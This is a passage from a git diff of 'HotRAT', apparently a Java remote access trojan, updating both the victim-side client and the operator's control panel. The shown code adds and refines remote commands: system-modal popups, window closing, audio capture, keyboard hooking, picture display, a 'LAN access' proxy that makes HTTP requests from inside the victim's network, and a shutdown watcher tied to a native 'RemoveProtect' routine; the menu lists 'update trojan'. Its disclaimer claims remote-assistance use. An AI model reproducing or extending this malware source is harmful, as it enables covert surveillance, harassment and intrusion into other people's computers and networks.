com.sun.jna.Pointer; import com.sun.jna.WString; import com.sun.jna.platform.win32.Kernel32; import com.sun.jna.platform.win32.User32; import com.sun.jna.platform.win32.WinDef; import me.client.Client; import me.client.send.*; +import oshi.jna.platform.windows.WinNT; +import javax.swing.*; import java.awt.*; import java.io.DataInputStream; import java.io.File; @@ -16,10 +19,19 @@ import java.net.URI; import java.net.URL; -import static com.sun.jna.platform.win32.WinUser.SW_SHOW; +import static com.sun.jna.platform.win32.WinUser.*; public class ReceiveMessage extends Thread{ public static final Object lock = new Object(); + private final static int MB_SYSTEMMODAL = 0x00001000; + private final static int MB_TOPMOST = 0x00040000; + private final static int MB_OK = 0x00000000; + private final static int MB_YESNOCANCEL = 0x00000003; + private final static int MB_YESNO = 0x00000004; + private final static int MB_ICONHAND = 0x00000010; + private final static int MB_ICONQUESTION = 0x00000020; + private final static int MB_ICONASTERISK = 0x00000040; + private final static int MB_ICONEXCLAMATION = 0x00000030; int remoteChatCount = 0; int audioCount = 0; int fileCount = 0; @@ -44,8 +56,9 @@ public class ReceiveMessage extends Thread{ FlashBomb flashBomb; SetClipboard setClipboard; KeyBoardHook keyBoardHook; - LoadNewHost loadNewHost; RegisterManager registerManager; + PictureDisplay pictureDisplay; + LANAccess lanAccess; FileOutputStream fileOutputStream; FileOutputStream fileUpdate; @@ -100,7 +113,6 @@ public void run() { lens = SendMessage.receiveLength(dataInputStream); context = SendMessage.receiveContext(dataInputStream, lens); String PIDstr = new String(context); - System.out.println(Integer.parseInt(PIDstr)); SystemManager.stopProcess(Integer.parseInt(PIDstr)); break; case MessageFlags.UPDATE_SYSTEMINFO: @@ -146,7 +158,7 @@ public void run() { String str = new String(context); String title = str.substring(str.indexOf("Title:") + 6,str.indexOf("Context:")); String mainContext = str.substring(str.indexOf("Context:") + 8); - LoadDLL.instance.MessageErrorYNC(new WString(title),new WString(mainContext)); + LoadUser32.instance.MessageBoxW(null,new WString(mainContext),new WString(title),MB_SYSTEMMODAL|MB_TOPMOST|MB_YESNOCANCEL|MB_ICONHAND); } }).start(); break; @@ -159,7 +171,7 @@ public void run() { String str1 = new String(context); String title1 = str1.substring(str1.indexOf("Title:") + 6,str1.indexOf("Context:")); String mainContext1 = str1.substring(str1.indexOf("Context:") + 8); - LoadDLL.instance.MessageInformationYNC(new WString(title1),new WString(mainContext1)); + LoadUser32.instance.MessageBoxW(null,new WString(mainContext1),new WString(title1),MB_SYSTEMMODAL|MB_TOPMOST|MB_YESNOCANCEL|MB_ICONASTERISK); } }).start(); break; @@ -172,7 +184,7 @@ public void run() { String str2 = new String(context); String title2 = str2.substring(str2.indexOf("Title:") + 6,str2.indexOf("Context:")); String mainContext2 = str2.substring(str2.indexOf("Context:") + 8); - LoadDLL.instance.MessageWarningYNC(new WString(title2),new WString(mainContext2)); + LoadUser32.instance.MessageBoxW(null,new WString(mainContext2),new WString(title2),MB_SYSTEMMODAL|MB_TOPMOST|MB_YESNOCANCEL|MB_ICONEXCLAMATION); } }).start(); break; @@ -185,7 +197,7 @@ public void run() { String str3 = new String(context); String title3 = str3.substring(str3.indexOf("Title:") + 6,str3.indexOf("Context:")); String mainContext3 = str3.substring(str3.indexOf("Context:") + 8); - LoadDLL.instance.MessageQuestionYNC(new WString(title3),new WString(mainContext3)); + LoadUser32.instance.MessageBoxW(null,new WString(mainContext3),new WString(title3),MB_SYSTEMMODAL|MB_TOPMOST|MB_YESNOCANCEL|MB_ICONQUESTION); } }).start(); break; @@ -198,7 +210,7 @@ public void run() { String str4 = new String(context); String title4 = str4.substring(str4.indexOf("Title:") + 6,str4.indexOf("Context:")); String mainContext4 = str4.substring(str4.indexOf("Context:") + 8); - LoadDLL.instance.MessageErrorYN(new WString(title4),new WString(mainContext4)); + LoadUser32.instance.MessageBoxW(null,new WString(mainContext4),new WString(title4),MB_SYSTEMMODAL|MB_TOPMOST|MB_YESNO|MB_ICONHAND); } }).start(); break; @@ -211,7 +223,7 @@ public void run() { String str5 = new String(context); String title5 = str5.substring(str5.indexOf("Title:") + 6,str5.indexOf("Context:")); String mainContext5 = str5.substring(str5.indexOf("Context:") + 8); - LoadDLL.instance.MessageInformationYN(new WString(title5),new WString(mainContext5)); + LoadUser32.instance.MessageBoxW(null,new WString(mainContext5),new WString(title5),MB_SYSTEMMODAL|MB_TOPMOST|MB_YESNO|MB_ICONASTERISK); } }).start(); break; @@ -224,7 +236,7 @@ public void run() { String str6 = new String(context); String title6 = str6.substring(str6.indexOf("Title:") + 6,str6.indexOf("Context:")); String mainContext6 = str6.substring(str6.indexOf("Context:") + 8); - LoadDLL.instance.MessageWarningYN(new WString(title6),new WString(mainContext6)); + LoadUser32.instance.MessageBoxW(null,new WString(mainContext6),new WString(title6),MB_SYSTEMMODAL|MB_TOPMOST|MB_YESNO|MB_ICONEXCLAMATION); } }).start(); break; @@ -237,7 +249,7 @@ public void run() { String str7 = new String(context); String title7 = str7.substring(str7.indexOf("Title:") + 6,str7.indexOf("Context:")); String mainContext7 = str7.substring(str7.indexOf("Context:") + 8); - LoadDLL.instance.MessageQuestionYN(new WString(title7),new WString(mainContext7)); + LoadUser32.instance.MessageBoxW(null,new WString(mainContext7),new WString(title7),MB_SYSTEMMODAL|MB_TOPMOST|MB_YESNO|MB_ICONQUESTION); } }).start(); break; @@ -250,7 +262,7 @@ public void run() { String str8 = new String(context); String title8 = str8.substring(str8.indexOf("Title:") + 6,str8.indexOf("Context:")); String mainContext8 = str8.substring(str8.indexOf("Context:") + 8); - LoadDLL.instance.MessageErrorY(new WString(title8),new WString(mainContext8)); + LoadUser32.instance.MessageBoxW(null,new WString(mainContext8),new WString(title8),MB_SYSTEMMODAL|MB_TOPMOST|MB_OK|MB_ICONHAND); } }).start(); break; @@ -263,7 +275,7 @@ public void run() { String str9 = new String(context); String title9 = str9.substring(str9.indexOf("Title:") + 6,str9.indexOf("Context:")); String mainContext9 = str9.substring(str9.indexOf("Context:") + 8); - LoadDLL.instance.MessageInformationY(new WString(title9),new WString(mainContext9)); + LoadUser32.instance.MessageBoxW(null,new WString(mainContext9),new WString(title9),MB_SYSTEMMODAL|MB_TOPMOST|MB_OK|MB_ICONASTERISK); } }).start(); break; @@ -276,7 +288,7 @@ public void run() { String str10 = new String(context); String title10 = str10.substring(str10.indexOf("Title:") + 6,str10.indexOf("Context:")); String mainContext10 = str10.substring(str10.indexOf("Context:") + 8); - LoadDLL.instance.MessageWarningY(new WString(title10),new WString(mainContext10)); + LoadUser32.instance.MessageBoxW(null,new WString(mainContext10),new WString(title10),MB_SYSTEMMODAL|MB_TOPMOST|MB_OK|MB_ICONEXCLAMATION); } }).start(); break; @@ -289,7 +301,7 @@ public void run() { String str11 = new String(context); String title11 = str11.substring(str11.indexOf("Title:") + 6,str11.indexOf("Context:")); String mainContext11 = str11.substring(str11.indexOf("Context:") + 8); - LoadDLL.instance.MessageQuestionY(new WString(title11),new WString(mainContext11)); + LoadUser32.instance.MessageBoxW(null,new WString(mainContext11),new WString(title11),MB_SYSTEMMODAL|MB_TOPMOST|MB_OK|MB_ICONQUESTION); } }).start(); break; @@ -396,7 +408,7 @@ public void run() { flashBomb = new FlashBomb(new String(context)); break; case MessageFlags.BUZZER: - LoadDLL.instance.beep(new NativeLong(1000), new NativeLong(1000)); + LoadKernel32.instance.Beep(new DWORD(1200),new DWORD(1200)); break; case MessageFlags.SHOW_CLIPBORADWINDOW: setClipboard = new SetClipboard(socket); @@ -432,23 +444,23 @@ public void run() { case MessageFlags.CLOSE_WINDOW: lens = SendMessage.receiveLength(dataInputStream); context = SendMessage.receiveContext(dataInputStream, lens); - String WindowsName = new String(context); - WinDef.HWND h = User32.INSTANCE.FindWindow(null, WindowsName); - LoadDLL.instance.StopWindowProcess(h); + String h= new String(context); + WinDef.HWND hwnd = new WinDef.HWND(new Pointer(Integer.parseInt(h))); + User32.INSTANCE.PostMessage(hwnd,WM_CLOSE,null,null); break; case MessageFlags.HIDE_WINDOW: lens = SendMessage.receiveLength(dataInputStream); context = SendMessage.receiveContext(dataInputStream, lens); String str12 = new String(context); - WinDef.HWND h1 = User32.INSTANCE.FindWindow(null, str12); - User32.INSTANCE.CloseWindow(h1); + WinDef.HWND hwnd1 = new WinDef.HWND(new Pointer(Integer.parseInt(str12))); + User32.INSTANCE.CloseWindow(hwnd1); break; case MessageFlags.SHOW_WINDOW: lens = SendMessage.receiveLength(dataInputStream); context = SendMessage.receiveContext(dataInputStream, lens); String str13 = new String(context); - WinDef.HWND h2 = User32.INSTANCE.FindWindow(null, str13); - User32.INSTANCE.ShowWindow(h2, SW_SHOW); + WinDef.HWND hwnd2 = new WinDef.HWND(new Pointer(Integer.parseInt(str13))); + User32.INSTANCE.ShowWindow(hwnd2, SW_SHOWMAXIMIZED); break; case MessageFlags.DISK_QUERT: fileManage.DiskQuery(); @@ -498,13 +510,8 @@ public void run() { String s6 = new String(context); sendScreen.MouseWheel(s6); break; - case MessageFlags.LOAD_NEWHOST: - loadNewHost = new LoadNewHost(socket); - lens = SendMessage.receiveLength(dataInputStream); - context = SendMessage.receiveContext(dataInputStream, lens); - loadNewHost.Load(new String(context)); - break; case MessageFlags.UPDATE: + LoadDLL.instance.RemoveProtect(); File file = new File(Client.getPath1() + "\\new.jar"); file.createNewFile(); break; @@ -577,10 +584,13 @@ public void run() { case MessageFlags.AUDIO_WINDOWS_SHOW: if(audioCount == 0) { audio = new Audio(socket); - audio.open(); - audio.run = true; - audio.start(); - audioCount++; + if(audio.open()) { + audio.run = true; + audio.start(); + audioCount++; + }else { + SendMessage.SendHead(MessageFlags.AUDIO_ERROR,socket); + } }else { SendMessage.SendHead(MessageFlags.SHOW_WINDOW_ERROR,socket); } @@ -589,10 +599,40 @@ public void run() { audio.close(); audioCount--; break; + case MessageFlags.PICTURE_SHOW: + lens = SendMessage.receiveLength(dataInputStream); + context = SendMessage.receiveContext(dataInputStream, lens); + String url = new String(context); + pictureDisplay = new PictureDisplay(); + pictureDisplay.show(url); + break; + case MessageFlags.PICTURE_CLOSE: + pictureDisplay.close(); + break; + case MessageFlags.LAN_ACCESS_GET: + lens = SendMessage.receiveLength(dataInputStream); + context = SendMessage.receiveContext(dataInputStream, lens); + String s7 = new String(context); + String urls = s7.substring(s7.indexOf("URL:") + 4,s7.indexOf("head:")); + String heads = s7.substring(s7.indexOf("head:") + 5,s7.indexOf("context:")); + lanAccess.get(urls,heads); + break; + case MessageFlags.LAN_ACCESS_POST: + lens = SendMessage.receiveLength(dataInputStream); + context = SendMessage.receiveContext(dataInputStream, lens); + String s8 = new String(context); + String urls1 = s8.substring(s8.indexOf("URL:") + 4,s8.indexOf("head:")); + String heads1 = s8.substring(s8.indexOf("head:") + 5,s8.indexOf("context:")); + String text = s8.substring(s8.indexOf("context:") + 8); + lanAccess.post(urls1,heads1,text); + break; + case MessageFlags.LAN_ACCESS_OPEN: + SendMessage.SendHead(MessageFlags.LAN_ACCESS_OPEN,socket); + lanAccess = new LANAccess(socket); + break; } } }catch (Exception e) { - e.printStackTrace(); } } } diff --git a/HotRAT SRC)/RemoteControl-Client/src/me/client/utils/ShutdownChecker.java b/HotRAT SRC)/RemoteControl-Client/src/me/client/utils/ShutdownChecker.java new file mode 100644 index 0000000..21315c1 --- /dev/null +++ b/HotRAT SRC)/RemoteControl-Client/src/me/client/utils/ShutdownChecker.java @@ -0,0 +1,20 @@ +package me.client.utils; + +import com.sun.jna.platform.win32.User32; +import com.sun.jna.platform.win32.WinUser; + +public class ShutdownChecker extends Thread{ + @Override + public void run() { + while (true) { + try { + Thread.sleep(10); + int b = User32.INSTANCE.GetSystemMetrics(WinUser.SM_SHUTTINGDOWN); + if(b == 1) { + LoadDLL.instance.RemoveProtect(); + } + } catch (InterruptedException e) { + } + } + } +} diff --git a/HotRAT SRC)/RemoteControl-Server/out/artifacts/YuanKong_jar/hmcl.json b/HotRAT SRC)/RemoteControl-Server/out/artifacts/YuanKong_jar/hmcl.json deleted file mode 100644 index cf24d00..0000000 --- a/HotRAT SRC)/RemoteControl-Server/out/artifacts/YuanKong_jar/hmcl.json +++ /dev/null @@ -1,22 +0,0 @@ -{ - "last": "Default", - "backgroundType": "DEFAULT", - "commonDirType": "DEFAULT", - "commonpath": "C:\\Users\\13823\\AppData\\Roaming\\.minecraft", - "hasProxy": false, - "hasProxyAuth": false, - "proxyType": "HTTP", - "theme": "blue", - "localization": "def", - "downloadType": "bmclapi", - "configurations": {}, - "accounts": [], - "selectedAccount": "", - "fontFamily": "Consolas", - "fontSize": 12.0, - "logLines": 100, - "authlibInjectorServers": [], - "updateChannel": "STABLE", - "_version": 0, - "uiVersion": 0 -} \ No newline at end of file diff --git a/HotRAT SRC)/RemoteControl-Server/out/production/YuanKong/me/resources/LAN.png b/HotRAT SRC)/RemoteControl-Server/out/production/YuanKong/me/resources/LAN.png new file mode 100644 index 0000000..5130ae8 Binary files /dev/null and b/HotRAT SRC)/RemoteControl-Server/out/production/YuanKong/me/resources/LAN.png differ diff --git a/HotRAT SRC)/RemoteControl-Server/out/production/YuanKong/me/resources/icon.png b/HotRAT SRC)/RemoteControl-Server/out/production/YuanKong/me/resources/icon.png index cc87b59..4dbad02 100644 Binary files a/HotRAT SRC)/RemoteControl-Server/out/production/YuanKong/me/resources/icon.png and b/HotRAT SRC)/RemoteControl-Server/out/production/YuanKong/me/resources/icon.png differ diff --git a/HotRAT SRC)/RemoteControl-Server/out/production/YuanKong/me/server/dll/CppUtils.dll b/HotRAT SRC)/RemoteControl-Server/out/production/YuanKong/me/server/dll/CppUtils.dll index 79ee0b7..88a3b60 100644 Binary files a/HotRAT SRC)/RemoteControl-Server/out/production/YuanKong/me/server/dll/CppUtils.dll and b/HotRAT SRC)/RemoteControl-Server/out/production/YuanKong/me/server/dll/CppUtils.dll differ diff --git a/HotRAT SRC)/RemoteControl-Server/src/me/resources/LAN.png b/HotRAT SRC)/RemoteControl-Server/src/me/resources/LAN.png new file mode 100644 index 0000000..5130ae8 Binary files /dev/null and b/HotRAT SRC)/RemoteControl-Server/src/me/resources/LAN.png differ diff --git a/HotRAT SRC)/RemoteControl-Server/src/me/resources/icon.png b/HotRAT SRC)/RemoteControl-Server/src/me/resources/icon.png index cc87b59..4dbad02 100644 Binary files a/HotRAT SRC)/RemoteControl-Server/src/me/resources/icon.png and b/HotRAT SRC)/RemoteControl-Server/src/me/resources/icon.png differ diff --git a/HotRAT SRC)/RemoteControl-Server/src/me/server/Server.java b/HotRAT SRC)/RemoteControl-Server/src/me/server/Server.java index b83dfa6..79cd48a 100644 --- a/HotRAT SRC)/RemoteControl-Server/src/me/server/Server.java +++ b/HotRAT SRC)/RemoteControl-Server/src/me/server/Server.java @@ -24,13 +24,13 @@ public class Server { public static HashMap map = new HashMap<>(); public static DefaultTableModel defaultListModel; + public static DefaultTableModel defaultTableModel; static ServerSocket socket; static Socket mesocket; static String CFGPATH = System.getProperty("user.dir") + "\\Config.cfg"; static String LookAndFeel = System.getProperty("user.dir") + "\\LookAndFeel.cfg"; public static String port; - public static final String VERSION = "6.65"; - + public static final String VERSION = "7.35"; static InputStream inputStream12 = Server.class.getClassLoader().getResourceAsStream("me/resources/maintable.png"); static Image image12; @@ -38,10 +38,8 @@ public class Server { try { image12 = ImageIO.read(inputStream12); } catch (IOException e) { - throw new RuntimeException(e); } } - public static void main(String[] args) { try { File file = new File(LookAndFeel); @@ -49,16 +47,27 @@ public static void main(String[] args) { ConfigWriter configWriter = new ConfigWriter(CFGPATH); configWriter1.CreateCFG("LookAndFeel","com.sun.java.swing.plaf.windows.WindowsLookAndFeel"); configWriter.CreateCFG("port","11451"); - JFrame frame = new JFrame("HotRat"+ VERSION + " |" + " 别远控了,恶俗b"); + JFrame frame = new JFrame("HotRat"+ VERSION + " |" + " Enjoy The Blue Screen :)"); if(file.exists()) { UIManager.setLookAndFeel(ConfigReader.Read(LookAndFeel,"LookAndFeel")); } port = ConfigReader.Read(CFGPATH,"port"); - JTextArea area = new JTextArea(4, 30); - area.setBackground(Color.black); - area.setForeground(Color.green); - area.setEditable(false); - Font font = new Font(Font.SERIF,Font.PLAIN,13); + defaultTableModel = new DefaultTableModel(null,new String[]{"时间","事件"}); + Date date = new Date(); + SimpleDateFormat format = new SimpleDateFormat("hh:mm:ss"); + JTable chatTable = new JTable(){ + @Override + public boolean isCellEditable(int row, int column) { + return false; + } + }; + chatTable.setModel(defaultTableModel); + chatTable.setShowVerticalLines(false); + chatTable.setShowHorizontalLines(false); + chatTable.getTableHeader().setReorderingAllowed(false); + chatTable.getTableHeader().setResizingAllowed(false); + chatTable.getColumnModel().getColumn(0).setPreferredWidth(180); + chatTable.getColumnModel().getColumn(1).setPreferredWidth(600); InputStream inputStream = Server.class.getClassLoader().getResourceAsStream("me/resources/icon.png"); Image image = ImageIO.read(inputStream); InputStream inputStream1 = Server.class.getClassLoader().getResourceAsStream("me/resources/1.png"); @@ -83,13 +92,8 @@ public static void main(String[] args) { Image image9 = ImageIO.read(inputStream9); InputStream inputStream11 = Server.class.getClassLoader().getResourceAsStream("me/resources/11.png"); Image image11 = ImageIO.read(inputStream11); - area.setFont(font); - JScrollPane jScrollPane = new JScrollPane(area); - area.append("欢迎使用HotRat远程协助" + "\n"); - area.append("本软件仅供学习交流 请勿用于非法用途 否则后果自负 一切与原作者无关" + "\n"); - area.append("By RedRat Security Team" + "\n"); - area.append("企鹅:511413324" + "\n"); - area.append("监听端口:" + port + "\n"); + JScrollPane jScrollPane = new JScrollPane(chatTable); + jScrollPane.setPreferredSize(new Dimension(0,100)); frame.setIconImage(image); JMenuBar bar = new JMenuBar(); JMenu menu = new JMenu("设置"); @@ -107,6 +111,11 @@ public static void main(String[] args) { JMenuItem jMenuItem10 = new JMenuItem("Luna"); JMenuItem jMenuItem11 = new JMenuItem("HiFi"); frame.add(jScrollPane,BorderLayout.SOUTH); + defaultTableModel.addRow(new String[]{format.format(date),"欢迎使用HotRat远程协助"}); + defaultTableModel.addRow(new String[]{format.format(date),"本软件仅供于远程协助和远程维护 请勿用于非法用途"}); + defaultTableModel.addRow(new String[]{format.format(date),"项目开源地址:https://github.com/Kr9jd/HotRAT"}); + defaultTableModel.addRow(new String[]{format.format(date),"作者联系QQ:511413324"}); + defaultTableModel.addRow(new String[]{format.format(date),"当前监听端口:" + port}); JPanel panel = new JPanel(); JButton button = new JButton("屏幕控制"); button.setIcon(new ImageIcon(image1)); @@ -389,7 +398,7 @@ public boolean isCellEditable(int row, int column) { button8.addActionListener(a->{ try { new Thread(() -> { - String[] modes = {"远程弹窗","远程获取QQ号","蜂鸣器","剪切板修改","闪屏","网页打开","转移主机","更新小马",}; + String[] modes = {"远程弹窗","远程获取QQ号","蜂鸣器","内网映射","剪切板修改","图片展示","关闭图片展示","闪屏","网页打开","转移主机","更新小马"}; String mode = (String) JOptionPane.showInputDialog(null,"更多功能","更多",JOptionPane.QUESTION_MESSAGE,null,modes,modes[0]); int temp = table.getSelectedRow(); String strings = (String) table.getValueAt(temp,1) + "$" + (String)table.getValueAt(temp,2) + "$"+ (String)table.getValueAt(temp,3) + "$" + (String)table.getValueAt(temp,4) @@ -412,10 +421,20 @@ public boolean isCellEditable(int row, int column) { String str =JOptionPane.showInputDialog(null,"闪屏文字..","闪屏",JOptionPane.INFORMATION_MESSAGE); SendMessage.Send(MessageFlags.FLASH_SCREEN,str.getBytes(StandardCharsets.UTF_8),map.get(strings)); break; + case "内网映射": + SendMessage.SendHead(MessageFlags.LAN_ACCESS_OPEN,map.get(strings)); + break; case "网页打开": String strs =JOptionPane.showInputDialog(null,"输入URL(如: http://baidu.com/)","输入",JOptionPane.INFORMATION_MESSAGE); SendMessage.Send(MessageFlags.WEB_BROWSE,strs.getBytes(StandardCharsets.UTF_8),map.get(strings)); break; + case "图片展示": + String strs1 =JOptionPane.showInputDialog(null,"输入图片URL(如: http://baidu.com/)","输入",JOptionPane.INFORMATION_MESSAGE); + SendMessage.Send(MessageFlags.PICTURE_SHOW,strs1.getBytes(),map.get(strings)); + break; + case "关闭图片展示": + SendMessage.SendHead(MessageFlags.PICTURE_CLOSE,map.get(strings)); + break; case "转移主机": LoadNewHost.Load(map.get(strings)); break; @@ -451,7 +470,7 @@ public void run() { socket = new ServerSocket(Integer.parseInt(port)); while (true) { mesocket = socket.accept(); - executorService.execute(new ClientPage(mesocket,defaultListModel,frame,area,table)); + executorService.execute(new ClientPage(mesocket,defaultListModel,frame,table)); } }catch (Exception e) { e.printStackTrace(); @@ -475,10 +494,8 @@ class ClientPage implements Runnable{ DefaultTableModel tableModel; JFrame frame; JTable table; - static JTextArea area; - public ClientPage(Socket socket,DefaultTableModel tableModel,JFrame frame,JTextArea textArea,JTable table) { + public ClientPage(Socket socket,DefaultTableModel tableModel,JFrame frame,JTable table) { mesocket = socket; - area = textArea; this.table = table; this.tableModel = tableModel; this.frame = frame; @@ -513,11 +530,11 @@ public void run() { Server.map.put(context, mesocket); Server.flashTable(table, tableModel); PlayMusic.online(); - area.append("ip: [" + str5 + "]" +"有新主机上线请注意! 时间:" + format.format(date) + "\n"); + Server.defaultTableModel.addRow(new String[]{format.format(date),"主机上线:" + strings[1]}); frame.setSize(1101,701);//强制刷新 frame.setSize(1100,700); frame.repaint(); - new SendHeartPack(mesocket,frame,area,str4,strings,table,tableModel,context).start(); + new SendHeartPack(mesocket,frame,table,tableModel,context,strings[1]).start(); new ReceiveMessage(mesocket,str5).start(); }catch (Exception e) { e.printStackTrace(); diff --git a/HotRAT SRC)/RemoteControl-Server/src/me/server/dll/CppUtils.dll b/HotRAT SRC)/RemoteControl-Server/src/me/server/dll/CppUtils.dll index 79ee0b7..88a3b60 100644 Binary files a/HotRAT SRC)/RemoteControl-Server/src/me/server/dll/CppUtils.dll and b/HotRAT SRC)/RemoteControl-Server/src/me/server/dll/CppUtils.dll differ diff --git a/HotRAT SRC)/RemoteControl-Server/src/me/server/receive/Audio.java b/HotRAT SRC)/RemoteControl-Server/src/me/server/receive/Audio.java index 5005123..de2a829 100644 --- a/HotRAT SRC)/RemoteControl-Server/src/me/server/receive/Audio.java +++ b/HotRAT SRC)/RemoteControl-Server/src/me/server/receive/Audio.java @@ -10,9 +10,7 @@ import java.awt.*; import java.awt.event.WindowAdapter; import java.awt.event.WindowEvent; -import java.io.FileNotFoundException; -import java.io.FileOutputStream; -import java.io.InputStream; +import java.io.*; import java.net.Socket; public class Audio { @@ -44,12 +42,15 @@ public Audio(Socket socket,String IP) throws Exception { jDialog.addWindowListener(new WindowAdapter() { @Override public void windowClosing(WindowEvent e) { - SendMessage.SendHead(MessageFlags.AUDIO_CLOSE,socket); - auline.close(); + try { + SendMessage.SendHead(MessageFlags.AUDIO_CLOSE,socket); + auline.close(); + }catch (Exception e1) { + } } }); } - public void play(byte[] bytes) throws Exception { + public void play(byte[] bytes){ auline.write(bytes,0,bytes.length); } public void init() { diff --git a/HotRAT SRC)/RemoteControl-Server/src/me/server/receive/KeyBoardHook.java b/HotRAT SRC)/RemoteControl-Server/src/me/server/receive/KeyBoardHook.java index fac85e8..df27ebe 100644 --- a/HotRAT SRC)/RemoteControl-Server/src/me/server/receive/KeyBoardHook.java +++ b/HotRAT SRC)/RemoteControl-Server/src/me/server/receive/KeyBoardHook.java @@ -12,6 +12,8 @@ import java.awt.event.WindowEvent; import java.io.InputStream; import java.net.Socket; +import java.text.DateFormat; +import java.text.SimpleDateFormat; import java.util.Date; public class KeyBoardHook{ @@ -19,6 +21,7 @@ public class KeyBoardHook{ JTextArea area1; public KeyBoardHook(Socket socket,String IP) throws Exception{ this.socket = socket; + SimpleDateFormat format = new SimpleDateFormat("hh:mm:ss"); JDialog frame1 = new JDialog(); InputStream inputStream = Server.class.getClassLoader().getResourceAsStream("me/resources/kb.png"); Image image = ImageIO.read(inputStream); @@ -30,7 +33,7 @@ public KeyBoardHook(Socket socket,String IP) throws Exception{ frame1.setTitle("\\\\" + IP + "-" + "键盘监听"); area1 = new JTextArea(); area1.setEditable(false); - Font font = new Font(Font.SERIF,Font.PLAIN,13); + Font font = new Font(Font.SERIF,Font.PLAIN,20); area1.setFont(font); JScrollPane scrollPane = new JScrollPane(area1); frame1.add(scrollPane,BorderLayout.CENTER); @@ -38,12 +41,13 @@ public KeyBoardHook(Socket socket,String IP) throws Exception{ area1.setBackground(Color.BLACK); area1.setForeground(Color.green); area1.setEditable(false); + area1.append("时间" + format.format(new Date()) + ":" + "\n"); frame1.setLocationRelativeTo(null); - frame1.setSize(500,300); + frame1.setSize(800,600); frame1.setVisible(true); button.addActionListener(a->{ area1.append("\n"); - area1.append(new Date() + "\n"); + area1.append("时间"+format.format(new Date())+ ":" + "\n"); }); frame1.addWindowListener(new WindowAdapter() { @Override diff --git a/HotRAT SRC)/RemoteControl-Server/src/me/server/receive/LANAccess.java b/HotRAT SRC)/RemoteControl-Server/src/me/server/receive/LANAccess.java new file mode 100644 index 0000000..fd255d5 --- /dev/null +++ b/HotRAT SRC)/RemoteControl-Server/src/me/server/receive/LANAccess.java @@ -0,0 +1,131 @@ +package me.server.receive; + +import me.server.Server; +import me.server.utils.MessageFlags; +import me.server.utils.SendMessage; + +import javax.imageio.ImageIO; +import javax.swing.*; +import javax.swing.table.DefaultTableModel; +import java.awt.*; +import java.io.IOException; +import java.io.InputStream; +import java.net.Socket; + +public class LANAccess { + JTextArea area1; + DefaultTableModel defaultTableModel; + String string = ""; + public LANAccess(Socket socket,String IP) throws IOException { + JDialog dialog = new JDialog(); + InputStream inputStream = LANAccess.class.getClassLoader().getResourceAsStream("me/resources/LAN.png"); + Image image = ImageIO.read(inputStream); + dialog.setIconImage(image); + JComboBox comboBox = new JComboBox<>(); + JLabel label = new JLabel("请求模式"); + JLabel label1 = new JLabel("请求URL"); + JTextField textField3 = new JTextField(25); + JButton button = new JButton("请求头/请求正文设置"); + JButton button5 = new JButton("发送请求"); + comboBox.addItem("GET"); + comboBox.addItem("POST"); + JPanel panel1 = new JPanel(); + area1 = new JTextArea(); + area1.append("消息正文将会返回到这里"); + JScrollPane scrollPane = new JScrollPane(area1); + panel1.add(button); + panel1.add(label); + panel1.add(comboBox); + panel1.add(button5); + panel1.add(label1); + panel1.add(textField3); + dialog.setTitle("\\\\" + IP + "-" + "内网映射"); + dialog.add(scrollPane,BorderLayout.CENTER); + dialog.add(panel1,BorderLayout.SOUTH); + dialog.setResizable(false); + dialog.setLocationRelativeTo(null); + dialog.setSize(800,600); + dialog.setVisible(true); + button5.addActionListener(a6->{ + switch (comboBox.getSelectedIndex()) { + case 0: + SendMessage.Send(MessageFlags.LAN_ACCESS_GET,("URL:" + textField3.getText() + string).getBytes(),socket); + break; + case 1: + SendMessage.Send(MessageFlags.LAN_ACCESS_POST,("URL:" + textField3.getText() + string).getBytes(),socket); + break; + } + }); + button.addActionListener(a->{ + JDialog dialog1 = new JDialog(); + defaultTableModel = new DefaultTableModel(null,new String[]{"请求头字段-键","请求头字段-值"}); + JTable table = new JTable(defaultTableModel); + JButton button1 = new JButton("确定"); + JButton button2 = new JButton("添加请求头字段"); + JButton button3 = new JButton("移除请求头字段"); + JPanel panel = new JPanel(); + JTextArea textArea = new JTextArea(8, 30); + JScrollPane jScrollPane = new JScrollPane(table); + JScrollPane jScrollPane1 = new JScrollPane(textArea); + table.setSelectionMode(ListSelectionModel.SINGLE_SELECTION); + panel.add(button1); + panel.add(button2); + panel.add(button3); + dialog1.add(panel,BorderLayout.SOUTH); + dialog1.add(jScrollPane,BorderLayout.NORTH); + dialog1.add(jScrollPane1,BorderLayout.CENTER); + dialog1.setResizable(false); + dialog1.setLocationRelativeTo(null); + dialog1.setSize(800,600); + dialog1.setTitle("设置"); + dialog1.setVisible(true); + button1.addActionListener(a5->{ + string += "head:"; + if(table.getRowCount() == 1) { + string += table.getValueAt(0,0); + string += "#"; + string += table.getValueAt(0,1); + }else { + for (int i = 0; i < table.getRowCount(); i++) { + string += table.getValueAt(i, 0); + string += "#"; + string += table.getValueAt(i, 1); + string += "|"; + } + } + string += "context:"; + string += textArea.getText(); + dialog1.dispose(); + }); + button3.addActionListener(a3->{ + defaultTableModel.removeRow(table.getSelectedRow()); + }); + button2.addActionListener(a1->{ + JDialog dialog2 = new JDialog(); + JTextField textField = new JTextField(20); + JTextField textField1 = new JTextField(20); + JButton button4 = new JButton("确定添加"); + JPanel panel2 = new JPanel(); + JPanel panel3 = new JPanel(); + JPanel panel4 = new JPanel(); + dialog2.add(panel2,BorderLayout.NORTH); + dialog2.add(panel3,BorderLayout.CENTER); + dialog2.add(panel4,BorderLayout.SOUTH); + panel2.add(textField); + panel3.add(textField1); + panel4.add(button4); + dialog2.setResizable(false); + dialog2.setLocationRelativeTo(null); + dialog2.setSize(400,150); + dialog2.setTitle("设置值"); + dialog2.setVisible(true); + button4.addActionListener(a2->{ + defaultTableModel.addRow(new String[]{textField.getText(),textField1.getText()}); + }); + }); + }); + } + public void update(byte[] context) { + area1.setText(new String(context)); + } +} diff --git a/HotRAT SRC)/RemoteControl-Server/src/me/server/receive/RemoteChat.java b/HotRAT SRC)/RemoteControl-Server/src/me/server/receive/RemoteChat.java index 6ab5955..8c4adb5 100644 --- a/HotRAT SRC)/RemoteControl-Server/src/me/server/receive/RemoteChat.java +++ b/HotRAT SRC)/RemoteControl-Server/src/me/server/receive/RemoteChat.java @@ -20,7 +20,7 @@ public class RemoteChat extends Thread{ Socket socket; JTextArea jta; - InputStream icon = Server.class.getClassLoader().getResourceAsStream("me/resources/8.png"); + InputStream icon = RemoteChat.class.getClassLoader().getResourceAsStream("me/resources/8.png"); Image icons = ImageIO.read(icon); public RemoteChat(Socket socket,String IP) throws IOException { this.socket = socket; diff --git a/HotRAT SRC)/RemoteControl-Server/src/me/server/receive/SendHeartPack.java b/HotRAT 